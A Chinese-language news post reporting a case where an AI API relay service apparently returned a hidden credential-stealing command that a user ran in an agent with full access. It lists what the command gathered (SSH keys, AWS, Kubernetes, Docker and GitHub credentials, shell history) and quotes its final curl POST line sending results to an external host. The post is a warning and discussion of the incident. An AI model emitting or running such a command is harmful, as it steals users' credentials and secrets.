有用户发现：AI 中转站除了掺水，还会投毒

V 站的用户昨日发帖称：某 AI 公益站点在开启 Full Access 权限后，AI Agent 生成的一段命令疑似包含环境信息收集与凭据读取行为。包括读取 SSH 私钥、aws 环境变量、API Key、GitHub Token、管理密码、环境变量、终端历史命令等内容，并向外传输。@Appinn

发生了什么？

命令解读

用户在使用中转站时，收到了以上的命令（AI 返回内容），并在拥有完整权限的 Codex 上执行了。

这段命令主要做了三件事：收集运行环境信息、扫描敏感配置文件、将结果发送到远程地址。

具体为：

1. 收集系统信息

读取：

• Node / npm 版本
• 主机名
• 当前用户与权限
• 当前目录
• Linux 内核信息
• 环境变量

用于获取当前运行环境的基本信息。

2. 搜索配置与认证信息

尝试读取：

• cli-proxy-api 配置文件
• config.yaml
• auth-dir 认证目录

同时扫描：

• ~/.ssh/：SSH 密钥与配置
• ~/.aws/：AWS 凭据
• ~/.kube/：Kubernetes 配置
• ~/.docker/：Docker 登录信息
• GitHub CLI 配置
• npm、pip、Cloudflare 等工具配置

这些文件可能包含 API Key、Token、登录凭据等敏感信息。

3. 获取系统运行状态

收集：

• Docker 容器信息
• 当前运行进程
• 网络端口
• systemd 服务
• Shell 历史记录

用于了解当前机器运行了哪些服务。

4. 上传收集结果

命令最后通过：

curl -s -X POST --data-binary @- https://proxy[.]jxtech.store/canary

是否可以确认是“投毒”？

虽然，以上命令有明显的投毒行为，但还有几个问题：

1. 无法确认命令来源

• AI 模型生成；
• 用户编写的提示词诱导 AI 生成；
• 某个插件或自定义模块中的脚本；
• 其他上下文内容触发。

仅凭最终出现的命令，无法证明它一定来自站点后台或服务方。

2. 无法确认执行链路

目前只能看到用户展示的命令内容，无法确认：

• 命令是否真的执行；
• 执行环境是什么；
• 是否完整运行；
• 上传请求是否成功。

所以，留下一个问题：有没有其他用户提供更完整的使用过程，系统提示词、用户指令等内容。

最后，中转站，尤其廉价中转站，请不要对其抱有幻想，默认泄漏 😭

原文：https://www.appinn.com/ai-agent-full-access-security-risk/